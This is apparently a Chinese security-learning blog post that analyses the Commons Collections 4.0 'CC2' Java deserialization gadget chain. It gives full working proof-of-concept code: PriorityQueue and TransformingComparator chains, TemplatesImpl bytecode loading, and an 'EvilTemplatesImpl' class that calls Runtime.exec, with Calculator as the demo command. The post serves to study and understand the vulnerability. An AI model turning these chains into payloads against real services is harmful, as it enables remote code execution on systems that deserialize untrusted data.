0x00 前言

从CC3开始学习完TemplatesImpl的利用,这次是CommonsCollections2链的分析,本来说要学完TemplatesImpl再来分析CC2,其实CC2不用TemplatesImpl也可以实现,因为CC2主要用到的是PriorityQueueTransformingComparator两个类。只是官方的ysoserial使用到了TemplatesImpl,因此学完TemplatesImpl再来分析CC2会轻松很多。

跟CC1不一样的是,CC2是用来解决的commons-collections-4.0版本的问题,因为3.1-3.2.1版本中TransformingComparator并没有去实现Serializable接口。当然不是说CC1不能再commons-collections-4.0版本中使用,只是要修改一下LazyMap的decorate方法即可。

环境准备

调试工具:IDEA

Java版本:8u65,下载地址:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

8u65源码:下载地址:https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip

pom文件配置:

<dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
 </dependency>
  <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.25.0-GA</version>
</dependency>

0x01 分析过程

我们先看下这条链的路径:

		ObjectInputStream.readObject()
			PriorityQueue.readObject()
				...
					TransformingComparator.compare()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()

我们先从TransformingComparator类进行分析,可以看到在compare方法中利用到了我们熟悉的transform方法:

image-20231205005314555

那么我们就要找到一个能传入Comparator的类,那么这条链的PriorityQueue类正好符合,因为PriorityQueue类的构造方法是可以接收Comparator类的:

image-20231205010532243

而且PriorityQueue还会调用到compare方法,我们继续从PriorityQueue类的反序列化方法进行分析,看着也没什么,但是下面会调用到一个heapify方法:

 private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

heapify方法又调用了siftDown方法,注意下这个size变量,如果小于0的话就不能执行下面的siftDown方法:

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

继续看siftDown方法,这里又调用到了两个方法,我们主要看siftDownUsingComparator方法,因为siftDownComparable里面没有调用到我们需要的compare方法:

 private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

可以看到siftDownUsingComparator方法里面就调用到了我们所需要的compare方法:

private void siftDownUsingComparator(int k, E x) {
  int half = size >>> 1;
  while (k < half) {
    int child = (k << 1) + 1;
    Object c = queue[child];
    int right = child + 1;
    if (right < size &&
        comparator.compare((E) c, (E) queue[right]) > 0)
      c = queue[child = right];
    if (comparator.compare(x, (E) c) <= 0)
      break;
    queue[k] = c;
    k = child;
  }
  queue[k] = x;
}

这里还有个条件就是comparator变量,这个是要等于TransformingComparator对象才能成功调用,那么这个变量在我们PriorityQueue构造方法的时候就已经赋值了:

 public PriorityQueue(int initialCapacity,
                         Comparator<? super E> comparator) {
        // Note: This restriction of at least one is not actually needed,
        // but continues for 1.5 compatibility
        if (initialCapacity < 1)
            throw new IllegalArgumentException();
        this.queue = new Object[initialCapacity];
        this.comparator = comparator;
    }

所以我们的写法如下:

Transformer[]  transformers= new Transformer[]{
  new ConstantTransformer(Runtime.class),
  new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
  new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
  new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})

};


ChainedTransformer chainedTransformer= new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

但是执行反序列化的时候却没能成功,是因为我们上面提到的size变量默认是0的:

private int size = 0;

而且是private属性,我们就需要用到反射进行赋值:

Field size = priorityQueue.getClass().getDeclaredField("size");
size.setAccessible(true);
size.setInt(priorityQueue,8);

ok,完整的代码如下:


import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2 {
    public static void main(String[] args) throws Exception {


        Transformer[]  transformers= new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})

        };


        ChainedTransformer chainedTransformer= new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        Field size = priorityQueue.getClass().getDeclaredField("size");
        size.setAccessible(true);
        size.setInt(priorityQueue,8);



        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oss = new ObjectOutputStream(barr);
        oss.writeObject(priorityQueue);
        oss.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();



    }

}

0x02 使用TemplatesImpl改进

之前学习了CC3,我们可以使用TemplatesImpl进行改写,使用读取字节码的方式进行执行我们的命令。

如果对TemplatesImpl不懂可以去看下之前的文章:Java代码审计-CommonsCollections3链分析

改写完整的代码如下:

  • EvilTemplatesImpl
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class EvilTemplatesImpl extends AbstractTranslet {

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    public EvilTemplatesImpl () throws IOException {
              Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }
}
  • CC2

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {


        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                //取当前目录下的类路径EvilTemplatesImpl.class.getName(),如果在当前目录下可以直接写类名即可
                ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");


        Transformer[]  transformers= new Transformer[]{
                new ConstantTransformer(obj),
                new InvokerTransformer("newTransformer",null,null),

        };

        ChainedTransformer chainedTransformer= new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        setFieldValue(priorityQueue, "size", 8);


        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oss = new ObjectOutputStream(barr);
        oss.writeObject(priorityQueue);
        oss.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();



    }

}

那么如果在Transformer数组不可用的情况下怎么改进呢?那么这样一来就不能使用ChainedTransformer类了,我们可以看下TransformingComparator的compare的方法,里面有传入的obj变量:

    public int compare(I obj1, I obj2) {
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

如果我们是这样写InvokerTransformer呢:

TemplatesImpl obj = new TemplatesImpl();
  setFieldValue(obj, "_bytecodes", new byte[][]{
    //取当前目录下的类路径EvilTemplatesImpl.class.getName(),如果在当前目录下可以直接写类名即可
    ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
  });
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());//因为不是反序列化要赋值给_tfactory

new InvokerTransformer("newTransformer", null, null).transform(obj);

所以我们只要把obj传入到上面compare方法的obj1或者obj2即可,我们顺着回去看下siftDownUsingComparator对compare的调用:

 private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

发现c是有下面的代码赋值的:

Object c = queue[child];

那么我们只要找谁赋值给queue的,我们了解到PriorityQueue是进行队列排序的,那么肯定是obj1和obj2是要传入进行对比排序的,所以我们找下里面可以接收值的方法:

image-20231205020814215

我们发现只有offer里面是有queue赋值的,其他都没有,add方法接收值后还是会调用到offer方法,所以直接利用offer即可:

public boolean offer(E e) {
        if (e == null)
            throw new NullPointerException();
        modCount++;
        int i = size;
        if (i >= queue.length)
            grow(i + 1);
        size = i + 1;
        if (i == 0)
            queue[0] = e;
        else
            siftUp(i, e);
        return true;
    }

ok,我们要知道这个步骤是完成了我们对queue赋值,而不是反序列化,但是我们看到queue是有transient属性的,也就是说该变量不参与序列化,也就是不会被存储到序列化文件当中。

那么这样一来不就自相矛盾吗?那不一定,我们来看下PriorityQueue的writeObject方法,可以看到的是重写后将每个queue进行序列化:

 private void writeObject(java.io.ObjectOutputStream s)
        throws java.io.IOException {
        // Write out element count, and any hidden stuff
        s.defaultWriteObject();

        // Write out array length, for compatibility with 1.5 version
        s.writeInt(Math.max(2, size + 1));

        // Write out all elements in the "proper order".
        for (int i = 0; i < size; i++)
            s.writeObject(queue[i]);
    }

再来看下readObject的方法,这里又把对象逐个读取赋值给回queue数组了:

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

这样就很好理解了,改进后的代码如下:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                //取当前目录下的类路径EvilTemplatesImpl.class.getName(),如果在当前目录下可以直接写类名即可
                ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");

        InvokerTransformer newTransformer = new InvokerTransformer("toString", null, null);

        TransformingComparator transformingComparator = new TransformingComparator(newTransformer);

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        priorityQueue.offer(obj);

        setFieldValue(newTransformer, "iMethodName", "newTransformer");
        setFieldValue(priorityQueue, "size", 2);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oss = new ObjectOutputStream(barr);
        oss.writeObject(priorityQueue);
        oss.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

    }

}

可能大家还有以下的一些疑问:

  • 为什么yso里面用的add方法?

这里上面已经讲过,add跟offer方法是一样的,只是方法名称命名的区别

  • 为什么别人的都是add两次或者这样写new PriorityQueue(2,transformingComparator);?

add两次是因为要把size增加为2,这样就可以走到siftDown方法当中,我们直接复制给size是一样的道理。

至于new PriorityQueue(2,transformingComparator);这样写也是一样的,因为在构造方法的时候就是把这2赋值给queue数组,然后queue数组就会便利增加size:

 this.queue = new Object[initialCapacity]

除此之外还可以用反射的方式对queue数组进行赋值,就不需要用到add或者offer了:

setFieldValue(priorityQueue,"queue",new Object[]{obj,obj});
setFieldValue(priorityQueue, "size", 2);
  • 为什么InvokerTransformer方法不直接设置newTransformer方法呢?

因为没有了ConstantTransformer对象,那么就会直接调用到它本身的对象方法,它本身是没有newTransformer方法的,所以直接调用会报错,到后面序列化的时候再把iMethodName赋值就可以了。

0x03 总结

分析cc2的时候看了很多大佬的文章,大多部分只是渐渐的看poc然后去分析,没有真正了解到这是为什么那又是为什么,总是为了完成写文章而写。

独立思考确实很重要, 比如我上面完全就不按官方那样写,照样也可以触发我们的恶意代码。又比如上面的writeObject重写那里,我翻遍了很多文章都没说到queue数组的问题,而且这个也是一个不可序列化的。

在分析TemplatesImpl终于有看到一遍文章写到下面这句是可有可无的:

setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

因为在TemplatesImpl进行反序列化的时候会创建TransformerFactoryImpl对象给_tfactory变量,而且在序列化的是没有用到newTransformer方法是不会触发报错的。

0x04 参考

《Java安全漫谈 - 16.commons-collections4与漏洞修复》

https://www.cnblogs.com/nice0e3/p/13860621.html